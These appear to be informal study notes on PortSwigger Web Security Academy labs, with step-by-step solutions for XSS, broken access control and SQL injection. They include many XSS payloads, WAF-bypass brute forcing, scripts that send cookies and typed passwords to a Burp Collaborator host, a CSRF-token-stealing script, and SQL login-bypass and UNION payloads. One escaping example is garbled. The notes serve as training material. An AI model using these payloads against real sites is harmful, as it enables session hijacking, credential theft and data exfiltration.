1. XSS CHEATSHEET

Reflected XSS

Lab: Reflected XSS into HTML context with nothing encoded

1. paste in search box

2. lab solved

Stored XSS - vulnerability in comment box

Lab: Stored XSS into HTML Context with nothing encoded

1. write in comment box and do the comment

2. go back to blog

3. lab solved

DOM BASED XSS - alphanumeric string make changes in "img src" tag

Lab:DOM XSS in document.write sink using source location.search

1. write "> in serch box

2. lab solved

Lab : DOM XSS in document.write sink using source location.search inside a select element --- XSS in product of website

1. open web page select any product and click on it

2. in page url add this &storeId="><img%20src=1%20onerror=alert(1)> and hit enter

3. lab solved

Lab: DOM XSS in innerHTML sink using source location.search

1. in search bar paste this <img src=1 oneerror=alert (1) >

2. lab solved

Lab: DOM XSS in jQuery anchor href attribute sink using location.search source --- XSS in url sourcePath

1. open lab select any post leave any comment on it and submit it

2. in url we get to see returnPath paremeter

3. in that paste this javascript:alert(document.cookie)

4. solved lab

Lab: DOM XSS in jQuery selector sink using a hashchange event --- deliver link to victim to download any thing in pdf

1. open lab and copy the lab link

2. open exploit server -{server use to deliver link to victim}

3. in bosy section add this <iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

4. click view exploit and then deliver it to victim from exploit server

5. lab solved

Lab: DOM XSS in ANgular JS expression with angle brackets and double quote HTML-encoded -- vulnerability in search box

1. open the search box enter any alphanumeric string

2. open page source of webpage and see random strings enclosed in ng-app

3. enter this {{$on.constructor('alert(1)')()}} in search box

4. lab solved

Lab: Reflected DOM XSS

solve by temperting character used in XSS see which one is unblockef

1. in search box type this \"-alert(1)}//

2. lab solved

Lab: Stored DOM XSS

This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function

1. open lab open any post and post this in comment <> <img src=1 onerror=alert (1)>

2. lab solved

   ---

XSS CONTENTS

Between HTML tags

When the XSS context is text between HTML tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript.

Some useful ways of executing JavaScript are:

<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>

Lab: reflected XSS into HTML content with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.

To solve the lab, perform a cross-site scripting attack that calls the alert function.

1. open lab search this in searchbox

   <script>alert(1)</script>
   

2. lab solved

Lab: Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

1. open lab then open any post and do comment on post

   <script>alert(1)</script>
   

2. lab solved

Lab: Reflected XSS into HTML context with most tags and attributes blocked

Bypassing Web Appliation Firewall For XSS

This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.

To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.

1. open lab in searchbox write this

<img src=1 onerror=print()>

1. by searching abover paramater we got and error that this method is not allowed

2. now catch thsi response in burps http history

1. now wend this request to burp intruder and in search paramater remove the paramater and write <> this and add it to oerform attack

1. click here to get XSS CHEATSHEET copy the tags to payload after getting XSS CHEATSHEET paste this in burps payload option

2. start the attack we can see we got the payload

body

1. now add body%20=1 in between <> like this

<body%20=1>

place the cursor before = and add the parameter between it to bruteforce it like this

1. now visit again on XSS CHEATSHEET now copy the events from it and app to payload and start the brute force on it

2. now while bruteforcing we get status code 400 in every parameter but on onresize parameter we get 200 ok atatus like this

1. open the labs exploit server and paste this in it

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>


Lab link:
https://0a060080045e67d78005120b00f800ca.web-security-academy.net/

in aboves iframe tag we can change the value like in 1st bruteforcing tags we got body 200 ok status and in 2nd bruteforcing events we got onresize 200 ok status

now store the payload and deliver it to victim and now lab is solved

Lab: Reflected XSS into HTML context with all tags blocked except custom ones

we cant send any html tag but we can send the js script

This lab blocks all HTML tags except custom ones.

To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.

1. copy your lab id

2. go to exploit server & write this

<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

in place of YOUR-LAB-ID paste your lab id

https://0ab200420435e0d080fa53ff008b006a.web-security-academy.net/

1. so sotre this payload on exploit server and deliver it

2. lab solved

Lab: Reflected XSS with event handlers ans href attribute blocked

This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor href attributes are blocked.

To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the alert function.

Note that you need to label your vector with the word "Click" in order to induce the simulated lab user to click your vector. For example:

<a href="">Click me</a>

1. copy your lab id and replace it here

https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

replace lab id with YOUR-LAB-ID 

lab id from url : 0a3c00e404665a1480e8440d0015006d

after psted lab id in URL :

https://0a3c00e404665a1480e8440d0015006d.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

1. open this URL in new page

2. lab solved

Lab: reflected XSS with some SVG markup allowed

allowing svg tag <svg> before any tag like :

<svg><animatetransform%20=1>

1st bruteforce the tags of xss in search box then use that tag with svg paramater to bruteforce the event

XSS XHEATSHEET

This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.

To solve the lab, perform a cross-site scripting attack that calls the alert() function.

1. open lab in search box type this

<script>alert(1)</script>

1. see we got an error while we have searched above script in search box

2. now capture the request of search box and send it to intruder

3. send a request wirth plain text to intruder not with encoding form

   

4. clear the request parameter and inplace of it write this

<>

1. add this is intruders attack to perform brute force of tags from XSS CHEATSHEET like this

1. while bruteforcing we gat status of all tags 400 but we got 200 ok status of animatetransform tag so we will use it with svg tag to bruteforce the event like this

   

<svg><animatetransform%20=1>

1. add the bruteforcing cursur before the = like this

<svg><animatetransform%20§§=1>

1. now copy the EVENTS from XSS CHEATSHEET and paste it to payload

2. now we got the event with 200 ok status name as

onbegin

1. so now we got the TAG and also EVENT so now we can exploit the using adding thsi in URL

   /?
   search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
   

2. add this request in our existing lab URL

3. lab solved

XSS in HTML tag ATTRIBUTE

When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one. For example:

"><script>alert(document.domain)</script>

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

1. in search box submit this script

"onmouseover="alert(1)

• then lab is solved

Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded

1. in any post's comment box type this

2. also in every box

   javascript:alert(1)
   

   lab Solved

   ---

   Lab: Reflected XSS in canonical link tag

   1. open lab copy your lab id and passte in this URL and open in page

https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

now after changing lab id open this URL in new page

lab solved

XSS into javascript

Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

1. in search box submit this

</script><script>alert(1)</script>

1. lab solved

Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

1. open lab in search box type any alphanumeric alphabet and intercept it and send it to repeater

2. observe that this string has been reflected in javascript string

3. now replace that alphanumeric string with this

'-alert(1)-'

1. lab solved

Some applications attempt to prevent input from breaking out of the JavaScript string by escaping any single quote characters with a backslash. A backslash before a character tells the JavaScript parser that the character should be interpreted literally, and not as a special character such as a string terminator. In this situation, applications often make the mistake of failing to escape the backslash character itself. This means that an attacker can use their own backslash character to neutralize the backslash that is added by the application.

For example, suppose that the input: ';alert(document.domain)//

gets converted to: ';alert(document.domain)//

You can now use the alternative payload: ';alert(document.domain)//

which gets converted to: \';alert(document.domain)//

Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

1. submit any alphanumeric string in searchbox and intercept it in burp and send it to repeater

2. in reoester change the paremater value to

test'payload

test\payload

1. we can't see any response

2. so now put this

\'-alert(1)//

1. lab solved

Lab: Reflected XSS in a JavaScript URL with some characters blocked

1. copy your lab id and paste in this link

https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

1. now open this in new web page

2. lab solved

Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

1. open lab select any post to do comment

2. in comment box type any alphanunmeric string and with burp watch it that its oneclick

3. so in comment box submit this

http://foo?'-alert(1)-'

1. lab solved

Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

1. in seaech box submit this

${alert(1)}

1. lab solved

* IMP * Exploiting XSS Vulnerabilities

session / cookie HIjacking

Lab: Exploiting cross-site scripting to steal cookies

1. open burp collabrator and click copy to clipboard

2. the copied doain from collabrator paste in in the script

3. <script>
   fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
   method: 'POST',
   mode: 'no-cors',
   body:document.cookie
   });
   </script>
   

4. now paste this script with collabrator domain in the comment section

5. in collabrator click pollnow and wait fot the response

6. copy that cookie we got in response of burps collabrator

7. replace your cookies with that cookie

8. now we got the admin access

9. lab solved

Lab: Exploiting cross-site scripting to capture passwords

cookie hijacking se password chorna

1. open burps collabrator and click copy to clip board

2. and paste that collabrators domain in this script

3. <input name=username id=username>
   <input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
   method:'POST',
   mode: 'no-cors',
   body:username.value+':'+this.value
   });">
   

   1. now paste this script in the comment box and submit it

   2. now in collanbrator tab click poll now and wait for HTTP response

   3. steal the USER_ID and PASSWORD of other user acccount

   4. login with that userid and password

lab solve

Lab: Exploiting XSS to bypass CSRF defenses

1. open the lab and login with given user id and password

2. after login we can see that we have an option to update an email

3. if you view the source for the page, you'll see the following information:

   You need to issue a POST request to /my-account/change-email, with a parameter called email.
   There's an anti-CSRF token in a hidden input called token.
   

   This means your exploit will need to load the user account page, extract the CSRF token, and then use the token to change the victim's email address.

4. <script>
   var req = new XMLHttpRequest();
   req.onload = handleResponse;
   req.open('get','/my-account',true);
   req.send();
   function handleResponse() {
       var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
       var changeReq = new XMLHttpRequest();
       changeReq.open('post', '/my-account/change-email', true);
       changeReq.send('csrf='+token+'&email=test@test.com')
   };
   </script>
   

5. now psate this script in posts somment box

6. This will make anyone who views the comment issue a POST request to change their email address to test@test.com.

7. lab solved

1) Unprotected admin functionality - Vertical Privilege Escalation

Open the lab

In LAB url add /robots.txt at the end and hit enter

After opening robots.txt we got new directory of admin panel now open that directory

after opening the admi directory we can see two users to delete delete user carlos and sole the lab

after deleting the user carlos we have solved the lab

Hence we have solved the lab

Conclusion : this is vertical privilege escalation by which we can get access of other roles users and modify the data

2) Unprotected Admin functionality with unpredictable URL

open lab home page and open burpsuite see the traffic of home page

in home page traffic observe the java script and admin and find the admin directory in it

copy that path and add it to webpage last and open the admin panel adn dele the user carlos and solve the lab

Paramater-based access control Method

3) User role controlled by request parameter

Open the lab's home page and we have instruction that admin page is located at /admin but can't access it

now try to open admin directory and intercept that request in burpsuite in cookie add this parameter ; Admin=true and forward the request

now we can get the admin panel

after access geting access to admin panel click on delete user and also intercept it and in its acookie also add ; Admin=true and forward it and we can delete the userd

we have solved the lab

4) User Role can be Modified in user profile

Open lab login as wiener:peter

now try to chage the email address and see the request in busp's http history tab and send it to repeater and in repeater tab

in email change request add this paramater in json file

"roleid":2 and send the request now we can see that our role id has been chaged from 1 to 2

After this we can get acces to admin panel

now click on Admin Panel and delete the user and solve the lab

We have solved the lab

Broekn access control resulting from platform misconfiguration

5) URL -Based access control can be circumvented

open the lab and also open the burpuite

in url add /admin we can see that we dont have access of it now intercept this request in burpsuite and mocify this request

After this we got access to admin panel

After this click on delete carlos and intercept the request and modify it add /?username=carlos and X-Original-URL /admin and forward it

And we have solved the lab

Lab: Method Based Access Control can be circumvented

1. open the lab 1st in portswigger browser another in firefox browser

2. in portswigger browser login as "administrator" and upgrade carlos user to admin and catch all this HTTP request in burps HTTP HITSOTY TAB

3. send the request of USER ROLE UPGRADE to repeater

4. logout as administrator from burps browser and login as wiener:peter and click on my account and catch all these request burps HTTP HISTORY TAB

5. The request of Wieners My-account send it to repeater

6. so now in repeater we have two tabs on e is carlos user upgradation and and another is wieners my-account

7. copy the cookie of wieners account and paste in carlos account cookie and send the request and we got the response "unauthorized"

8. Now after getting the message "unauthorized" change the Method of request from POST to GET and and inn place of carlos write wiener send it

9. Our lab is solved

Conclusion : login as administrator catch the request and send it to repeatge ---> upgrade the user carlos from admin panel catch the request and and send it to repeater -->logout ----> now login as wiener peter and click on my account and catch the request and send to repeater ----> no win pepeater we have 2 tabs on of carlos user upgradation and another is wieners account type ---> copy the cookie of wiener user and paste in carlos cookie and change the request form to GET and put name of wiener in place of carlos and senf the request and we have solved the lab

HORIZONTAL PRIVILEGE ESCALATION

Lab: user ID Controlled by request parameter

1. open the lab login as wiener peter after login in it see inn link we have id parameter as /my-account?id=wiener

2. change the user name wiener to carlos and then we can get teh API key, Copy it and submit it to solution and solve the lab

Lab : User ID controlled by request parameter, with unpredictable user IDs

1. Open the lab and see the post by carlos and clik on carlos id

2. copy the carlos user id

3. now login as wiener:peter

4. now in wiener's account change the user id with carlos id

5. and now we ca see new api key when we have pste the GUID of carlos in wiener's account

6. copy that API link and submit to solution submittion

7. solved the lab

Lab: User ID controlled by request parameter with data leakage in redirect

1. open the lab login as wiener:peter and catch the request where parameter is user=wiener

2. send that request to repeater and change the username to carlos and send it

3. in response we can get the api key of carlos

4. submit the carlos API key to submission panel

5. solved the lab

HORIZONTAL TO VERTICAL PRIVILEGE ESCALATION

If Attacker has get in to the any USER ACCOUNT so its a Horizintal privilege escalation

after getting access to any USER ACCOUNT if he get in to ADMIN PANEL account with changing the id paramater or GUID's or tampering the ID's so its a Vertical privilege escalation

so this was Horizontal to vertical Privilege Escalation

EG: 1st get access of user XYZ and the by tampering the user id or GUID's get access of admin panel

LAB-User ID controlled by request parameter with password disclosure

"login as WIENER:PETER and Get access to ADMIN PANEL and DELETE the USER CARLOS"

1. login as WENER:PETER catch the request in HTTP HISTORY TAB and send it to repeater

2. in repeater change the id from wiener to administrator and send the request

3. in response we can get to know the administrator password

4. login with administrator userid and password and delete the CARLOS user

5. solved the lab

IDOR - INSECURE DIRECT OBJECT REFERENCES

IDOR occurs when if application used user supplied input and it attacker had changes some value it in so it can exploit it

LAB: Insecure Direct Object References

1. open chat box type any message and send it and then download the transcript catch this request in burpsuite and then send it to repeater

2. in repeater change the 2.txt to 1.txt and send it in response we get to see the message

3. in that message we have got the password and we have to loged in with user carlos and that password

4. solved the lab

Access control vulnerabilities in multi-step processes

1. login as administrator and upgrade a user carlos

2. capture the request and send it to repeater

POST /admin-roles HTTP/2

Host: 0a340009045316e980164911006700d5.web-security-academy.net

Cookie: session=sJGHzrBhULI8PL9duUSt60atItdNQyTd

Content-Length: 45

Cache-Control: max-age=0

Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"

Sec-Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: "Linux"

Accept-Language: en-GB,en;q=0.9

Origin: https://0a340009045316e980164911006700d5.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://0a340009045316e980164911006700d5.web-security-academy.net/admin-roles

Accept-Encoding: gzip, deflate, br

Priority: u=0, i



action=upgrade&confirmed=true&username=carlos

1. see the request like above and send it to repeater

2. now login as wiener and capture the request and send it to repeater

3. now copy the session id of wiener user

4. in above request change the session cookie with wiener's session cookie and in place of username=carlos put wiener and send it

5. lab is solved

Referer-based access control

Lab: Referer-based access control

1. 1st login as administrator and upgrade the carlos and send this request to repeater

2. see a request where http header looks like this "/admin-roles?username=carlos&action=upgrade" and send it to repeater

3. now login as wiener and capture the http request and send it to repeater

4. now copy the session cookie of wiener's

5. in the admin intercepted request change the session cookie with wiener's cooie and also change the username from carlos to wiener

6. lab solved

   ---

   Solved all Broken Access Control Lab

In field of web applications, access control is depend upon Authentication and session managament

Authentication - Conform that user is who they say they are

Session Management - Identifies whic subsequent HTTP equests are being made by that samae user

Access Control - Determine Whetner the user is allowed to carry out the action that they are attempting or try to perfroming

This Access Control design decision have to be made by humans so the potential error is high

Vertical Access Controls

Vertical Acess Controls are mechanisms that restrict access to sensitive functionality to specific types of users

Eg: administrator have access to modify or delete any users account, meanwhile an ordinary user account does not have that access

Horizontal Access Control

Horizontal access controls are the mechanism that restrict access t oresource to specific users.

example : in college portal we can check our marks buy our own id not from our freinds id

Contest-dependent access contro

The Permission of Access the Data Is Depend upon Current situatoin ,state of applicatoin and human interaction of USER, Not only on USER TYPE (administrator, ordinary)

Eg: a retail website might prevent users from modifying the contents of their shopping cart after they have made payment.

Vertical Privilege Escalation

user can get access to function that they are not permitted to access

eg: administrative van give access to normal user that they can delete user account and modify the sensitive data is called as VERTICAL PRIVILEGE ESCALATION

For Labs click here

Types

1. Unprotected Functionality - hidden directory can accessible

2. Parameter-based access control - Parameter-based access control methods

Some applications determine the user's access rights or role at login, and then store this information in a user-controllable location. This could be:

Hidden folder, Cookie, preset query string parameter

1. Broken access control resulting from URL-matching discrepancies

Horizintal Privilege Escalation

Horizontal privilege escalation occurs if a user is able to gain access to resources belonging to another user, instead of their own resources of that type. For example, if an employee can access the records of other employees as well as their own, then this is horizontal privilege escalation.

1. Try to change the id parameter in url and in request

in some application the parameter does not have same value like user carlos has id 1 and user wiener has 1$ , so its unpredictable , so we can guess it from it GUIDS - Globally unique identifier like each user has its unique GUIDs

HORIZONTAL TO VERTICAL PRIVILEGE ESCALATION

If Attacker has get in to the any USER ACCOUNT so its a Horizintal privilege escalation

after getting access to any USER ACCOUNT if he get in to ADMIN PANEL account with changing the id paramater or GUID's or tampering the ID's so its a Vertical privilege escalation

so this was Horizontal to vertical Privilege Escalation

EG: 1st get access of user XYZ and the by tampering the user id or GUID's get access of admin panel

Access control vulnerabilities in multi-step processes

Lab: Multi-step process with no access control on one step

Many websites implement important functions over a series of steps. This is common when:

A variety of inputs or options need to be captured.
The user needs to review and confirm details before the action is performed.

For example, the administrative function to update user details might involve the following steps:

Load the form that contains details for a specific user.
Submit the changes.
Review the changes and confirm.

Referer-based access control

For example, an application robustly enforces access control over the main administrative page at /admin, but for sub-pages such as /admin/deleteUser only inspects the Referer header. If the Referer header contains the main /admin URL, then the request is allowed.

In this case, the Referer header can be fully controlled by an attacker. This means that they can forge direct requests to sensitive sub-pages by supplying the required Referer header, and gain unauthorized access.

Preventing

Access control vulnerabilities can be prevented by taking a defense-in-depth approach and applying the following principles:

Never rely on obfuscation alone for access control.
Unless a resource is intended to be publicly accessible, deny access by default.
Wherever possible, use a single application-wide mechanism for enforcing access controls.
At the code level, make it mandatory for developers to declare the access that is allowed for each resource, and deny access by default.
Thoroughly audit and test access controls to ensure they work as designed

Here The Broek Access Control Content has Ended

click on any option on weebpage and intercept it in burpsuite and change the paramater value to 'OR 1=1-- and see hidden data

2) SQLI allowing login bypass

open login page put fake credentials and intercept it & inplace of password type this administrator'-- or administrator'--'

3) UNION ATTACKS

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Determining Number of Columns

'UNION SELECT NULL--
'UNION SELECT NULL, NULL--
'UNION SELECT NULL, NULL, NULL--

# put NULL untill wee get anyh response

open web page select click on any option intercept it and add above value instaed of it and increasse NULL untill we get any response

4) Finding Columns with Usefull Datatypes

After finding number of columns we can get the data type

if we found 3 columns
'UNION SELECT 'a',NULl, NULL,NULL--
'UNION SELECT NULL ,'a',NULL,NULL--
'UNION SELECT NULL, NULL,'a',NULL--
"UNION SELECT NULL, NULL, NULL,'a'--

5) Finding a Column Containing text

open webpage click on any option and intercept it and inplace of it put this

'UNION SELECT NULL, 'a', NULL--

now replace the value of a with a string value if we got in webpage 

6) Retrive Data From Other Tables

open web page and click on any value and change it to 'UNION SELECT NULL, NULL-- increase this NULL until we cannot see the Tables

When we get see DATATABLES 'UNION SELECT 'test', NULL--

after that 'UNION SELECT 'test', 'test2'--

after that 'UNION SEECT username FROM users--

and we can see the data dumped from table user